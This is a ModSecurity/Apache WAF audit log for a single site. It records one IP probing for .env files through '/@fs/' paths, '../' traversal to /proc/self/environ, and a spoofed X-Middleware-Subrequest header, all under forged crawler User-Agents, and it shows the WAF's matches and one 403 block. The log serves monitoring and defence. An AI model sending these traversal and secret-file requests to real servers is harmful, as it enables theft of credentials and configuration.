Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--35cc8618-Z--
--179ff854-A--
[13/Sep/2026:13:02:12.394738 +0300] aqZ0pCsVWymXUono-eRVZgAAAAk 34.80.249.255 54660 127.0.0.1 7081
--179ff854-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--179ff854-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--179ff854-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZ0pCsVWymXUono-eRVZgAAAAk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZ0pCsVWymXUono-eRVZgAAAAk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293732213637 181165 (- - -)
Stopwatch2: 1789293732213637 181165; combined=38113, p1=288, p2=37770, p3=0, p4=0, p5=55, sr=149, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--179ff854-Z--
--8cd3ee51-A--
[13/Sep/2026:13:02:12.480916 +0300] aqZ0pEwu1RSkptiiNIX5uwAAAIU 34.80.249.255 54712 127.0.0.1 7081
--8cd3ee51-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8cd3ee51-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8cd3ee51-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/src/.env"] [unique_id "aqZ0pEwu1RSkptiiNIX5uwAAAIU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293732409946 71040 (- - -)
Stopwatch2: 1789293732409946 71040; combined=3545, p1=217, p2=3274, p3=0, p4=0, p5=54, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8cd3ee51-Z--
--7f692d49-A--
[13/Sep/2026:13:02:12.550104 +0300] aqZ0pGM7dE9KgIIOpQh3YQAAAMg 34.80.249.255 54728 127.0.0.1 7081
--7f692d49-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7f692d49-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7f692d49-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZ0pGM7dE9KgIIOpQh3YQAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293732483907 66252 (- - -)
Stopwatch2: 1789293732483907 66252; combined=3270, p1=268, p2=2948, p3=0, p4=0, p5=54, sr=122, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7f692d49-Z--
--851fb73d-A--
[13/Sep/2026:13:02:12.913361 +0300] aqZ0pCsVWymXUono-eRVbgAAABA 34.80.249.255 54774 127.0.0.1 7081
--851fb73d-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--851fb73d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--851fb73d-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZ0pCsVWymXUono-eRVbgAAABA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZ0pCsVWymXUono-eRVbgAAABA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293732778587 134827 (- - -)
Stopwatch2: 1789293732778587 134827; combined=35176, p1=322, p2=34800, p3=0, p4=0, p5=54, sr=135, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--851fb73d-Z--
--2c72aa43-A--
[13/Sep/2026:13:02:13.034232 +0300] aqZ0pCsVWymXUono-eRVaQAAAA4 34.80.249.255 54740 127.0.0.1 7081
--2c72aa43-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2c72aa43-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2c72aa43-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZ0pCsVWymXUono-eRVaQAAAA4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293732686862 347439 (- - -)
Stopwatch2: 1789293732686862 347439; combined=3339, p1=239, p2=3041, p3=0, p4=0, p5=58, sr=92, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2c72aa43-Z--
--12a8c532-A--
[13/Sep/2026:13:02:13.180756 +0300] aqZ0pCsVWymXUono-eRVbwAAAAM 34.80.249.255 54806 127.0.0.1 7081
--12a8c532-B--
GET /public../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--12a8c532-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--12a8c532-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/public../.env"] [unique_id "aqZ0pCsVWymXUono-eRVbwAAAAM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293732819410 361422 (- - -)
Stopwatch2: 1789293732819410 361422; combined=4343, p1=289, p2=4008, p3=0, p4=0, p5=46, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--12a8c532-Z--
--f4375759-A--
[13/Sep/2026:13:02:13.981938 +0300] aqZ0pUwu1RSkptiiNIX5wAAAAIs 34.80.249.255 54946 127.0.0.1 7081
--f4375759-B--
GET /dist../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f4375759-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f4375759-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/dist../.env"] [unique_id "aqZ0pUwu1RSkptiiNIX5wAAAAIs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293733917783 64220 (- - -)
Stopwatch2: 1789293733917783 64220; combined=4290, p1=242, p2=3992, p3=0, p4=0, p5=55, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f4375759-Z--
--4c5f0510-A--
[13/Sep/2026:13:02:14.307350 +0300] aqZ0pkwu1RSkptiiNIX5wQAAAIo 34.80.249.255 54950 127.0.0.1 7081
--4c5f0510-B--
GET /css../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--4c5f0510-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4c5f0510-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/css../.env"] [unique_id "aqZ0pkwu1RSkptiiNIX5wQAAAIo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293734142276 165128 (- - -)
Stopwatch2: 1789293734142276 165128; combined=3760, p1=151, p2=3560, p3=0, p4=0, p5=49, sr=66, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4c5f0510-Z--
--00883168-A--
[13/Sep/2026:13:02:14.337319 +0300] aqZ0pkwu1RSkptiiNIX5wgAAAIY 34.80.249.255 54958 127.0.0.1 7081
--00883168-B--
GET /js../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--00883168-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--00883168-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/js../.env"] [unique_id "aqZ0pkwu1RSkptiiNIX5wgAAAIY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293734164979 172397 (- - -)
Stopwatch2: 1789293734164979 172397; combined=6840, p1=224, p2=6564, p3=0, p4=0, p5=52, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--00883168-Z--
--8154783d-A--
[13/Sep/2026:13:02:14.359375 +0300] aqZ0pjTJ6xTvcJoem7f7fwAAAFg 34.80.249.255 54984 127.0.0.1 7081
--8154783d-B--
GET /build../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8154783d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8154783d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/build../.env"] [unique_id "aqZ0pjTJ6xTvcJoem7f7fwAAAFg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293734243980 115449 (- - -)
Stopwatch2: 1789293734243980 115449; combined=3940, p1=193, p2=3696, p3=0, p4=0, p5=51, sr=78, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8154783d-Z--
--5fbd494b-A--
[13/Sep/2026:13:02:14.836463 +0300] aqZ0pmM7dE9KgIIOpQh3bQAAANA 34.80.249.255 55026 127.0.0.1 7081
--5fbd494b-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--5fbd494b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5fbd494b-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles/x"] [unique_id "aqZ0pmM7dE9KgIIOpQh3bQAAANA"]
Action: Intercepted (phase 2)
Stopwatch: 1789293734830210 6314 (- - -)
Stopwatch2: 1789293734830210 6314; combined=5067, p1=237, p2=4514, p3=0, p4=0, p5=316, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5fbd494b-Z--
--f433bf16-A--
[13/Sep/2026:13:02:14.907099 +0300] aqZ0pkwu1RSkptiiNIX5wwAAAI8 34.80.249.255 55002 127.0.0.1 7081
--f433bf16-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f433bf16-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f433bf16-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
